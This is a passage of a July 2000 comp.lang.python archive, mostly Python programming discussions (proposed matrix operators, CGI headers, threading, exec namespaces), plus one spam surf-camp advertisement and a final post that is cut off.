>camps won't be able to agree which should be the default, in which case
>there should be two different modules based on the same Numeric core with
>different operator mappings previously suggested. I don't necessarily see
>that a lack of agreement on this issue should prevent adding the new
>operators to Python as long as everyone agrees with the operator syntax.
>But adopting one scheme (ours of course :-) would certainly be best.

Agreed.  I've answered another post of the same concern, but this is worth
making clear: introducing new operators is meant to help everyone, and no
one's code should break.

One way to adopt unified scheme is to invent a new package that is better
than both of the current ones.  In the mean time, in order not to break
anyone's code, both current packages should remain supported, for a very
long time.  They can already coexist peacefully today, there's no reason
they would not in the future just because of some new operators are
available.

So, perhaps we need to summarize the first round and concentrate on the
remaining issues.  Here's my personal summary of the firs round (highly
opinionated)

========================================================================

We agree that there are two types of operators, matrixwise and elementwise.

We agree that they should have completely identical syntactic properties.
They behave identically on numbers.

We agree that the new operators, whether elementwise or matrixwise, should
not have default meaning on objects other than numbers.

Essentially three representations are suggested

.op
@op
(op)

where op is a combination of special characters.  Surprisingly (maybe not,
considering the math-oriented constituency), the third option draws the most
praise and almost not criticism.  It has more variations and have more
potential for the future.  Despite that, imo, it is unlikely to be accepted
eventually, because it would not play well with by non-math audience. I'll
leave it out and let its proponents to summarize and build a strong case.

Down to .op and @op, where op is an existing binary operator. There is
argument for both.  Using . may be confusing to current syntax (floats).
Using @ takes one of the only three "free" symbols on the ascii keyboard,
and @ looks too dense (like a letter).

Which is matrix and elementwise?  It is unlikely to reach any agreement on
this one.  One initial fear was that choosing one would break codes for the
other.  It was clarified that whichever is chosen, current interfaces should
be supported for compatibility.

Most discussants are against introducing both @op and .op so that both camp
will have it.  So the option comes down to the following only choice: matpy
and numpy using exactly the oposite meaning for these operators.

Here's my analysis why this might work.  Numpy users who's never touched
matpy would notice nothing changed, except matrixmultiply can be replaced by
an operator.  Matpy users who's never touched numpy would notice nothing
changed, except __dotmul__ can be replaced by an operators.  Old code remain
working even without change.  Those who use both are already accustomed to
the fact that * means two different things depending on object type.  Now
that there are convenient operators there's even less reason to have both
types in the same module, thereby less confusion than before.

What about new users?  Which do they choose, and will they get confused?
They should be advised to initially choose only one.  The difference is not
mainly on * or .*.  The discussion has made abundantly clear that there is
no intrinsic reason which should be which.  The difference between the two
packages is the emphasis placed on the different views of convenience - are
you more likely to slice through high dimensional arrays, or are you more
likely to do matrix algebra?  Do you want the distinction of arrays of
shapes (n,) (n,1) (1,n) (n,m), etc?  In fact, both packages are likely to
add conveniences existing in the other, so that eventually someone would
come up with a better design for grand unification.

The bottom line is: It is not necessary to break anyone's code in order to
claim "Yes, we have reached a verdict".

If this is adopted, no semantics will go into the specs for the operators.
It will be only for the distinction of elementwise and matrixwise operations
in multidimensional mathematical operations.  The actual meaning will be
assigned by the packages that implement them.  

There is a concern that any definition must include error bounds and other
technical specifications.  My view is that this belongs to the packages
making use of these operators, but not the operators themselves.  More
opinions on this?

There is a concern that the alternative + and - are not really needed, but
it is not clear which version of sematics should be dropped.  My view is
that these two have the same reason to be included as * and / (see a recent
post).  More opinions?

There is a discussion of meaning of multiarray multiplications.  It is
generally accepted that these involve explicit specification of indices. So
it is up to the classes of tensors-with-indices to overload these operators.

There is brief mention of other types of multiplications, like kronicker,
outer, lie, cross, etc.  They are shown to be variations of matrixwise
multiplications and are not as fundamental to worth special symbols.  They
can be implemented by functions names like kron(a,b).

Concerning left division (solve), it is somewhat accepted that we should not
grab % or | for this (nor use ^ for power) because that would be incosistent
with other domains, though that might be good choice if python had left them
free.

This is as far as I can remember.  Any major omissions?

If this is more or less the picture, we are down to selecting whether to use
@op or .op or (op), and whether solve need a symbol, and what it should be.

Huaiyu


From see at my.signature  Mon Jul 31 00:14:56 2000
From: see at my.signature (Greg Ewing)
Date: Mon, 31 Jul 2000 16:14:56 +1200
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCAEMBGMAA.tim_one@email.msn.com>
Message-ID: <3984FD40.6791C03C@my.signature>

There's one thing I don't get about this whole
license fiasco. What the heck gives CNRI the right
to dictate what sort of license BeOpen is allowed
to attach to its next version of Python? Surely
they can use any license they like as long as it's
compatible with the existing Python license.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg



From cut_me_out at hotmail.com  Fri Jul  7 18:02:55 2000
From: cut_me_out at hotmail.com (Alex)
Date: 07 Jul 2000 18:02:55 -0400
Subject: Splitting c.l.py...
References: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com>
Message-ID: <etdog49ha40.fsf@w20-575-115.mit.edu>

> trying to disentangle all the webs binding Python to CNRI so that we
> can be *effective* at BeOpen.

Is there a synopsis of the legal woes that befell python somewhere?  It
sounds sort of interesting.

Alex.


From mouali at wanadoo.fr  Sun Jul  9 13:30:33 2000
From: mouali at wanadoo.fr (Mouali rabii sbai)
Date: Sun, 9 Jul 2000 19:30:33 +0200
Subject: Newbies question
Message-ID: <8kacpb$9hc$1@wanadoo.fr>

Hello,

Can anybody telling me how to execute an program with python.

I explain, i have download the Grail Browser, making 100% in python.
In the readme file, they tell to just click on grail.py, but i have nothing
with this.
In the IDLE, i've pass this command :
exec python c:\program files\python\grail\grail.py
But i have an error.

If it's not true, what shall i do?

Thanks




From julesk24 at my-deja.com  Mon Jul 17 08:51:18 2000
From: julesk24 at my-deja.com (julesk24 at my-deja.com)
Date: Mon, 17 Jul 2000 12:51:18 GMT
Subject: Reading asynchronous data from a serial device
Message-ID: <8kuvg0$kg2$1@nnrp1.deja.com>

I am attempting to write a program (to run on a linux box) in python
which communicates to a device via a serial port.  The problem is that
the device is not reliable in responding when expected.  Therefore, I
have many reads timeout.  I am relatively new to the world of multiple
threads so I am probably making many mistakes.  My current approach is
to use a separate thread for the read and then to join() the thread
back into the main thread if the read is not sucessful within the given
amount of time.  The end result is hundreds of hung processes and an
eventual segmentation fault (the program needs to be designed to run
for days).  My questions are:

1)  Is there any (easy) way for me to cause the thread to exit (not
just join the processes) after a timeout on a read?

2)  Is there a better way of reading for data (without starting my own
thread for the read process and then trying to exit out of the thread
after a period of time)?

I have read through the newsgroups, but I haven't found anything which
specifically answers my questions.  Thanks to anyone who can answer my
questions!

Julie Kempton
jmk11 at duke.edu


Sent via Deja.com http://www.deja.com/
Before you buy.


From gregory.lielens at fft.be  Fri Jul 28 12:09:24 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Fri, 28 Jul 2000 18:09:24 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com>
Message-ID: <3981B034.80FACD08@fft.be>

Steve Lamb wrote:
> 
> On Fri, 28 Jul 2000 09:14:31 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
> wrote:
> >If I type 1, I think "integer".  Sorry.  This is true outside the realm of
> >programming.  If I'm talking to someone online and I want to express the
> >idea of a string containing the character '1', I will write "1" or '1'.
> 
>     Is it?  How many non-programmers would do that?  You do it only because
> you are a programmer who is used to catagorizing data into different types.

Checking your other posts, it seems to me that the reasopn you are able
to think about data (in particular numerical data) without caring about
its type is that you always link the data to a text representation
mentally...

And from your example, it is quite clear that Perl (I never used it, so
I guess here...) also make this link quite strongly...still
guessing...maybe because now or in a previous implementation, numbers
are/were actually stored as string internally?

The fact that perl make this binding is a clear advantage for you, as
you are already doit it mentally...
Python does not make this link, hence this thread. And I think that
Python will appeal more for people that do not make this link
automatically (count me in - and better twice than once...).

Whether or not non-programmer makes this link (text
representation/numeric value), I do not know in general,  but I think I
could reasonable assume than people with mathematical background will
not do it, and thus find Python more suitable to their way of thinking
than perl...

Just my "2" cents,

Greg.


From robin at alldunn.com  Mon Jul 24 22:32:49 2000
From: robin at alldunn.com (Robin Dunn)
Date: Mon, 24 Jul 2000 19:32:49 -0700
Subject: wxPython and jPython
References: <8ld08k$h5s$1@gossamer.itmel.bhp.com.au>
Message-ID: <__6f5.2800$p5_3.19071381@news.randori.com>

"A J Wilson" <wilson.austin.aj at bhp.com.au> wrote in message
news:8ld08k$h5s$1 at gossamer.itmel.bhp.com.au...
> Hi
>
> Is it possible to use wxPython under jPython?  The reason I wish to do so
is
> that I have a java-based API that I wish to use under jpython but do not
> wish to go to the trouble of learning AWT or SWING for the GUI.
>

No.  It would require either creating a JNI (Java Native Interface) layer to
wxWindows, or implementing a wxPython compatible API in Swing, neither of
which has been done.

--
Robin Dunn
Software Craftsman
robin at AllDunn.com
http://wxpython.org     Java give you jitters?
http://wxpros.com        Relax with wxPython!





From frankn=nuws at cs.vu.nl  Wed Jul  5 02:50:41 2000
From: frankn=nuws at cs.vu.nl (Frank Niessink)
Date: Wed, 5 Jul 2000 06:50:41 GMT
Subject: Entry widgets
References: <39620052.53C1@cs.bham.ac.uk>
Message-ID: <8juls1$roc@cs.vu.nl>

Elliot Smith <e.smith at cs.bham.ac.uk> wrote:
> Hello all,

> I've tried this question before, and got no answer at all, so I thought
> I'd give it another go as the situation is getting desperate! I can't
> find any reference to this anywhere.

> I've been having problems with Entry widgets in Tkinter, running
> under sunos5. For some reason, when I double click on them, Python
> closes the whole application and reports 'Bus error'. Any ideas? I've
> tried overriding the binding for double mouse clicks to no avail.

Well, after your first post I checked your problem with one Tkinter 
application of my one, but I couldn't reproduce your problem. Maybe
you should try to track down the problem to the smallest program that
still has that behavior and then post the code...

Good luck, Frank
-- 
He learnt to communicate with birds and discovered that their conversation was
fantastically boring. It was all to do with wind speed, wing spans, power-to-
weight ratios and a fair bit about berries.
	-- Douglas Adams, 'Life, the Universe, and Everything'


From collins at seal.aero.org  Mon Jul 10 19:42:13 2000
From: collins at seal.aero.org (Jeff Collins)
Date: Mon, 10 Jul 2000 16:42:13 -0700
Subject: [ANN] Python port to Palm Pilot
In-Reply-To: <14698.17375.15871.804581@beluga.mojam.com>
References: <200007070140.SAA31035@wd264.aero.org>
	<3966C005.5EF656C6@smartchat.net.au>
	<200007101546.IAA09887@rushe.aero.org>
	<14698.17375.15871.804581@beluga.mojam.com>
Message-ID: <14698.24123.893395.933743@malibu.aero.org>

Skip Montanaro writes:
 > 
 >     Jeff> Download the .zip file instead.  Apparently, downloading the .prc
 >     Jeff> files using a browser corrupts the files.
 > 
 > I haven't tried either yet.  Can this be downloaded using Linux?  I can just 
 > barely do pilot-xfer to backup my Palm and could use some suggestions on the 
 > use of the other Linux pilot-* apps, particularly those that will let me
 > download new programs like PalmPython.

Linux is my development platform.  Download poppy.zip then:

unzip poppy.zip
pilot-xfer [-p port] -i pylib.prc python.prc
press the hotsync button


Jeff




From stephen_purcell at yahoo.com  Fri Jul 28 00:09:22 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Fri, 28 Jul 2000 14:09:22 +1000
Subject: Unary Operators
In-Reply-To: <3980F944.19EBFF7C@hotmail.com>; from nospam4methx@hotmail.com on Fri, Jul 28, 2000 at 03:09:04AM +0000
References: <3980F944.19EBFF7C@hotmail.com>
Message-ID: <20000728140922.C12152@inkontact.com.au>

RC wrote:
> Are there any unary operators (^, |, etc...) in Python such as in
> Verilog HDL?

There are not    :-)

Or, more fully, there are 'not', '~', '-', and '+'.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From alex at magenta.com  Fri Jul 28 12:23:39 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 18:23:39 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com>
Message-ID: <8lsca101hv4@news2.newsguy.com>

"Grant Edwards" <ge at nowhere.none> wrote in message
news:iWhg5.2682$6E.684157 at ptah.visi.com...
    [snip]
> Why does "what non-programmers do" matter when designing a
> programming language?

It matters if you care about how easy/hard it is to turn those
"non-programmers" into "programmers in the language you
are designing".  E.g., the CP4E project, which used to be
aimed at turning _everybody_ into programmers, had better
take a huge amount of care about it; while a language such
as C++, which never had among its many design goals that
of being at all easy or appropriate to learn as a first
programming language, can basically ignore it.

Where Python fits, I don't know, but I suspect it would be an
excellent first-language (except for those who belong to the
"bondage-and-discipline" school of programming, and/or of
teaching-to-program, who would surely be better advised to
look at Pascal or some of its successors).


Alex





From pi314 at hananet.net  Sun Jul 30 13:13:53 2000
From: pi314 at hananet.net (Pi)
Date: Mon, 31 Jul 2000 02:13:53 +0900
Subject: I have some problem about IDLE, help me...
Message-ID: <cpZg5.8$HL6.751@news.hananet.net>

I install Python by Debian Pakage...
python excute well...
but IDLE does not...
if I type "idle"
I got below message...

Traceback (innermost last):
  File "/usr/bin/idle", line 3, in ?
    PyShell.main()
  File "/usr/lib/idle/PyShell.py", line 612, in main
    fixwordbreaks(root)
  File "/usr/lib/idle/editorWindow.py", line 606, in fixwordbreaks
    tk.call('tcl_wordBreakAfter', 'a b', 0) # make sure word.tcl is loaded
TclError: extra characters after close-quote

I can't see what is problem...
It seems that fixwordbreaks() are source of problem...
but I don't know what function is fixwordbreaks()...

I excuted idle manually withbout script file...
but I got same error message...

If you know about this error message, Plz help me...
If you know how to clear this problem, send me mail plz...

                                   leejongsoopekr at yahoo.com





From lull at acm.org  Fri Jul 14 09:29:02 2000
From: lull at acm.org (John Lull)
Date: 14 Jul 2000 08:29:02 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be>
Message-ID: <595umsg1u1n29usa755ndag76uljkrgn0f@4ax.com>

At the dawn of the third millenium (by the common reckoning), Gregory
Lielens <gregory.lielens at fft.be> wrote (with possible deletions):

> Indeed, but it is the old choice between functional/operator notation...
> For example, the second expression, b = (X'*X)\(X'*y), would be in
> functional notation 
> something like b=rDiv(Mul(X.T(),X),Mul(X.T(),y))
> This is ok, but imho far more error prone than operator notation,
> because 
> - all linear algebra textbooks present expressions with operator
> notation
> - the operator notation is more natural to almost everybody when dealing
> with arithmetic

Absolutely.

> I personnaly consider that linear algebra is an extension of simple
> arithmetic, almost on the same level as complex numbers (and usefull to
> the same kind of people which could use complex numbers). 
> The fact that complex numbers are part of built-in python types and can
> be manipulated using standard arithmetic operators plead for a similar
> facility for linear algebra, imho. 

Yes.

Regards,
John


From lull at acm.org  Thu Jul 20 21:27:02 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 20:27:02 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com> <slrn8netkd.rb.hzhu@localhost.localdomain>
Message-ID: <ar8fns0d6austh9sc0smie258nn6mbv57b@4ax.com>

At the dawn of the third millenium (by the common reckoning),
hzhu at localhost.localdomain (Huaiyu Zhu) wrote (with possible
deletions):


> NumPy matrix  NumPy element  MatPy matrix  Matpy element
>   @+              +              +            .+
>   @-              -              -            .-
>   @*              *              *            .*
>   @/              /              /            ./
>   /@             none           what          none
>   @**             **             **           .**
> 
> This provides the smoothest migration path for all the users. Note that the
> cause of NumPy/MatPy inconsistency was the lack of binary operators.  As
> this already happened, it is difficult to integrate them until both got two
> versions of operators.  Problems:
> 
> - This introduces 6+5 new operators.  Ironically the previous lack of
>   operators actually results in more operators.
> 
> - Having standard + - * / mean different things in NumPy and MatPy.  I
>   personally find this no problem.  In certain portions of my programs I need
>   elementwise operations exclusively, and I found it convenient to cast
>   everything into NumPy without trouble.
> 
> - There's still no left division for MatPy.

This, I think, would be a mistake, and would likely result in
rejection of the proposal.

We need to do what is right for Python, long term.  If that results is
short-term pain to a small user base, so be it.  The *right* thing to
do (IMO) is to have one set of new operators, with equivalent meaning
in both NumPy and MatPy.

Quite frankly, I prefer the .* notation, simply for consistency with
Matlab if nothing else -- but the MatPy user base is likely far
smaller than that for NumPy.  This argues for your NumPy notation, or
some other notation defaulting to elementwise, and MatPy may just have
to change.  I believe you agreed that element-wise is the appropriate
default for other reasons, as well.

This could be done relatively painlessly by renaming MatPy when the
new operators show up, and allowing both to be installed on the same
machine.  It could also be done by providing duplicate class
defintions, with slightly changed names, where the new classes use the
new operators.  The old classes could be clearly marked 'deprecated',
and dropped after a year or so.  If this is to be done, though, the
change ought to start as soon as practical.

Regards,
John


From wlav at hpatl26.cern.ch  Wed Jul  5 09:43:38 2000
From: wlav at hpatl26.cern.ch (Wim Lavrijsen)
Date: 5 Jul 2000 13:43:38 GMT
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>
Message-ID: <8jve2a$hg3$1@sunnews.cern.ch>

cmfinlay at SPAMmagnet.com.au writes:

>number = 100
>print "Number =", number
>OUT = open("TT.txt","w")
>OUT.write("Number =", number) # Error

'write' expects only 1 argument. You should build a string to
hand to write. Something like:

OUT.write( 'Number = %d' % number + '\n' ) 

Best regards,
      Wim Lavrijsen


From cjc26 at nospam.cornell.edu  Thu Jul 20 16:03:46 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Thu, 20 Jul 2000 20:03:46 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl>
Message-ID: <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org>

* Remco Gerlich <scarblac-spamtrap at pino.selwerd.nl> menulis:
| > 
| > The easiest way:
| > 
| > for line in file.readlines():
| >     block
| 
| But that would read the whole thing into memory, and he doesn't want that.
| 
| Wouldn't an xreadlines() method on file objects be cool?

readlines() has an optional argument which specifies the approximate
number of bytes to read in at a time, rather than the entire file.
So something like

for line in file.readlines(8192):
    # process line

would only use about 8k of memory.


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From cjc26 at nospam.cornell.edu.bbs  Mon Jul 17 19:30:03 2000
From: cjc26 at nospam.cornell.edu.bbs (cjc26 at nospam.cornell.edu.bbs)
Date: 17 Jul 2000 23:30:03 GMT
Subject: Type checking in python?
Message-ID: <3bRTAS$l0I@openbazaar.net>

* Paul Prescod <paul at prescod.net> menulis:
| Matthew Cline wrote:
| >
| >   def my_func(foo, bar, quux):
| >      if not isinstance(quux, Quux):
| >         raise RuntimeError("param 'quux' must be of class 'Quux'")
|
| Let me also point out that in many cases, this style of programming
| would be frowned upon by serious Python programmers. For instance, if
| you check that something is a string, your code will complain when it is
| handed a Unicode string, even though it would probably work fine. If you
| check that it is an open file, then your code probably will complain
| about stringIO file-like objects, even though it would probably work
| fine. If you check that it is an integer, your code will complain about
| integers, even though ti would probably work fine.

In that case, it'd be more useful to check if a particular object
implements certain methods, rather than to check if it inherits from a
particular class.  For example, if you need a file-like object and you
know you will be calling its readlines() method, then you can just call

    getattr(obj, "readlines")

beforehand; if it doesn't raise an AttributeError then you're all
set.

I don't ever actually >do< that in my own code, though. ;)


| In general, the Python philosophy is to "just try it" and see if it
| works. Sometimes type checks are appropriate but if you do it on the
| entry to every function, you are probably doing too much work and making
| your own life (or someone else's) harder later on.


--
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From smst at bigfoot.com  Fri Jul 14 06:10:10 2000
From: smst at bigfoot.com (Steve Tregidgo)
Date: Fri, 14 Jul 2000 10:10:10 GMT
Subject: Python + Apache 1.3.x (CGI) not working (no mod_python)
References: <8kmjlb$vji$1@nnrp1.deja.com>
Message-ID: <8kmotr$30u$1@nnrp1.deja.com>

In article <8kmjlb$vji$1 at nnrp1.deja.com>,
  genablu at my-deja.com wrote:
> Please help!
>
> I am running the following Python program:
>
> #!/usr/bin/python
>
> print 'Content-type: text/plain'

# Here's your problem:
> print ' '

> print '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">'
> print '<HTML><HEAD><TITLE>cgi-bin test</TITLE></HEAD>'
> print '<BODY>Hello, World!</BODY></HTML>'
>
> in my /home/httpd/cgi-bin directory.  Permissions are set to 755,
> chown root.nobody.
>
> When I try requesting http://myserver.domain.com/cgi-bin/hello.py I
> get the following error:
>
> INTERNAL SERVER ERROR
> The server encountered an internal error or misconfiguration and was
> unable to complete your request.
>
> malformed header from script.  Bad header=:/home/httpd/cgi-
bin/hello.py
>

The blank line following headers must consist of only a newline ('\n'
or '\r\n'), but you're printing a space on that line.  Try changing
this:

  print ' '

...to this:

  print # no args at all

By not ending the headers correctly, every line you print is treated as
a header -- and since none of them have correct header format, you get
problems.

HTH,
Steve

--
Steve Tregidgo
Software Developer
http://www.businesscollaborator.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From tjhamilton at one.net.au  Wed Jul 19 06:36:00 2000
From: tjhamilton at one.net.au (Terry)
Date: Wed, 19 Jul 2000 20:36:00 +1000
Subject: Text UI Curses sample code
Message-ID: <397583ee@pink.one.net.au>

I have no experience with a text based UI and would appreciate all the
advice and sample code I can get.
Thanx in advance
Terry





From matthias_w at my-deja.com  Fri Jul 21 08:26:37 2000
From: matthias_w at my-deja.com (Matthias)
Date: Fri, 21 Jul 2000 12:26:37 GMT
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <8l68s5$3ht$1@nnrp1.deja.com> <3977C173.B93EB70B@my.signature>
Message-ID: <8l9fhk$8lv$1@nnrp1.deja.com>

Greg Ewing <see at my.signature> wrote:
> Matthias wrote:
> >
> >  for x,y,z in a&b&c:
>
> But a&b&c parses as (a&b)&c, which is not what
> we want at all!

this is not what i want, either
[1,2,3]&[4,5,6] == [(1,4),(2,5),(3,6)]
[1,2,3]&[4,5,6]&[7,8,9] == [((1,4),7),((2,4),8),((3,6),9)]
.... thinking hard :-) ....
[1,2,3]., [4,5,6] == [(1,4),(2,5),(3,6)]
[1,2,3]., [4,5,6]., [7,8,9] == [(1,4,7),(2,4,8),(3,6,9)]
so, ".," is an extension of the "," operator, ...
.... thinking harder ....

> Furthermore, there's no reason why a, b and c
> couldn't be instances of classes which implement
> & in such a way that the result is a valid
> sequence type.

very good point. I didn't think about that
Matthias


Sent via Deja.com http://www.deja.com/
Before you buy.


From wjdandreta at worldnet.att.net  Fri Jul 14 13:07:27 2000
From: wjdandreta at worldnet.att.net (William Dandreta)
Date: Fri, 14 Jul 2000 17:07:27 GMT
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net> <slrn8msrkq.7cg.jblaine@kickflop.ne.mediaone.net> <zIvb5.2585$tI4.159707@bgtnsc05-news.ops.worldnet.att.net> <396EF501.5F1EF171@schneider-kamp.de>
Message-ID: <jNHb5.4544$tI4.319561@bgtnsc05-news.ops.worldnet.att.net>

Hi Peter,

Python Library Reference - 6.19, locale...

Bill

Peter Schneider-Kamp wrote in message
<396EF501.5F1EF171 at schneider-kamp.de>...

>> I guess my question was poorly worded. I was looking for the way to set
the
>> internal thousands separator to a comma so atof('1,142.00') results in
>> 1142.00. It's clear from the doc's that it is posssible to do but it
doesn't
>> give enough info for me to figure out how.
>
>Can you cite the part of the Docs that say this?
>
>Peter





From aulani1 at email.msn.com  Thu Jul 20 17:56:00 2000
From: aulani1 at email.msn.com (Aulani)
Date: Thu, 20 Jul 2000 11:56:00 -1000
Subject: Hawaii Surf-N-Camp
Message-ID: <0152d2106111270CPIMSSMTPU08@email.msn.com>

To Member,=20

We would like to invite you to come=20
and camp with the Hawaii Surf Academy.=20
We are having a week long surf camp=20
starting on August 10-16th, and we want=20
you to be there. The camps will be=20
held on the North Shore of Oahu, and=20
on the Big Island. Our camp will include=20
surf instructions, guided tours to=20
various places of the island, a polynesian=20
luau, bonfires, volleybal, night on=20
into town, hanging with locals, and=20
much much more. This will be an=20
experience you never experienced before=20
in Hawaii. At the present time we are=20
offering a introductory offer of 50% discount. Normally the camps would cos=
t=20
$1050=20
including ground transportation, lodging,=20
tours, and food, but because you are=20
in the camping industry, we are offering=20
this special discount as an introductory=20
offer to you. We want you to come and=20
check out our camp, surf with us, and=20
have fun with us. Please let us know=20
if you would be interested, and more=20
information can be sent to you. Other=20
camp dates are as follows:

October 6-12th: Oahu
December 22-28th: Oahu
December 23-Jan4. Big Island
June 1-7th: Oahu
June 8-14: Big Island

To get in on the 50% discount, payment=20
must be made by Aug 5, 2000

Let us know if you have any questions or=20
want more information. You may either=20
email us at aulani1 at email.msn.com or=20
call us tollfree (877)222-4469. Look=20
forward to hearing from you!

Aloha,

Angela Stenger
Hawaii Surf Academy
Camp Coordinator

Contact Information:
Angela Stenger
Hawaii Surf Academy
Email: aulani1 at email.msn.com
(877) 222-4469 -Tollfree
(808) 382-6778 -Bus
(708) 585-6457- Fax

                Registration Form
------------Please print, cut and mail----------

Name________________________  Age______ M/F

Address_______________________ City_________
State/zip_______________________
Day #___________________ Even#_________________
Email________________________
Please send check to:
	Hawaii Surf Academy
	941050 Kahimoe Pl
	Waipahu, HI. 96797
Check One:

_____Enclosed is my non-refundable, yet transferable deposit of $200 per ca=
mp.=20
Full payment due 1 wk before camp.
_____Enclosed is my full payment of $525 per camp.

Arrival information:
Name of Airlines________________Arrival Date______
Arrival Time_____am/pm   Flight #__________











From neilh at scintilla.org  Mon Jul 17 05:46:33 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Mon, 17 Jul 2000 09:46:33 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
References: <8kuhnd$bh3$1@nnrp1.deja.com>
Message-ID: <ZBAc5.4042$4p3.30213@news-server.bigpond.net.au>

> working with the new Build 132 of Pythonwin we have a minor problem.
> German Umlauts are not handled properly in the editor windows.
> They are shown as boxes, some of them seem to be dead keys.
>
> The problem did not exist in previous builds.
> Does anyone have a hint ?

   132 defaults to using Unicode for editing Python source code and the
interactive window. To stop this, open Pythonwin\pywin\scintilla\view.py,
find the OnInitialUpdate method and comment out the two lines under "#
Enable Unicode if we can". Save the file, shut down Pythonwin and restart it
and see if this fixes the problem.

   Yes, there should be an option to control this.

   Neil




From supersede at india.com  Mon Jul  3 05:24:48 2000
From: supersede at india.com (Extra Strength Flufferin)
Date: 03 Jul 2000 05:24:48 -0400
Subject: 1.5.2 extentions under 1.6
References: <8jpi6m$4aa$1@nnrp1.deja.com>
Message-ID: <87lmzjefbz.fsf@litterbox.meowing.net>

Stephen Hansen <stephen at cerebralmaelstrom.com> wrote:

> My question is -- does anything need to be changed in the sources, any
> differences int he API, etc? Or is it simply something which is
> modified in the Python.h which needs to be included in the extention
> for it to work?

The only real annoyance I've run into so far is that Py_Malloc() and
company went away.  It makes sense that they went away and it's easy
enough to work around, but do watch your links carefully for undefined
symbol warnings.


From ulrich.schreiner at innuendo.de  Sat Jul 29 05:12:20 2000
From: ulrich.schreiner at innuendo.de (Ulrich Schreiner)
Date: Sat, 29 Jul 2000 11:12:20 +0200
Subject: Python is Zen (was Python is wierd)
References: <39806045.F67EBD04@wag.caltech.edu> <8lt0ap$69q$2@newsg4.svr.pol.co.uk>
Message-ID: <39829FF4.84DEDC6F@innuendo.de>

http://www.bruceeckel.com/Python/ThinkingInPython.html

"Bill de h?ra" wrote:
> 
> Does this imply a "Thinking in Python"?
> 
> -Bill de h?ra


From robin at illusionsexeculink.com  Fri Jul 14 15:32:34 2000
From: robin at illusionsexeculink.com (robin at illusionsexeculink.com)
Date: Fri, 14 Jul 2000 15:32:34 -0400
Subject: namespace sharing (longish)
Message-ID: <ajpumscfm08j21jsregknndodpndpvchob@4ax.com>

I'm having a great deal of difficulty wrapping my head around the
namespace issue.

All I want to do is execute user-supplied (eg: arbitrary) functions
and have them share a namespace. So the first such function could
define some variables and later functions could read their values.

Simple. Or not?

I constructed the following test script:

# test.py BEGIN ###########
import pprint

if __name__ == "__main__":
	# seed the namespace
	namespace = {'var_main': 'hello'}

	# here lies my user module
	x = 'from test_lib import *'
	exec x in namespace
	del x

	# BEGIN KEY CODE
	# code to execute
	code1 = 'ret_one = one()'
	code2 = 'ret_two = two()'
		
	# compile it to be nice
	compiled1 = compile(code1, '<string>', 'exec') 
	compiled2 = compile(code2, '<string>', 'exec') 

	# go -- execute!
	exec compiled1 in namespace
	exec compiled2 in namespace
	# END KEY CODE

	# remove cruft from name space	
	del code1, code2, compiled1, compiled2
	
	# what do we have?
	print
	print '0000000000000000000000000'
	pp = pprint.PrettyPrinter()
	print 'local => '
	pp.pprint( locals() )

	print 'global => '
	pp.pprint( globals().keys() )

# test.py END #############

Then, the user module could look like:

# test_lib.py BEGIN ###########
def one():
	import pprint

	# define a variable local to this routine	
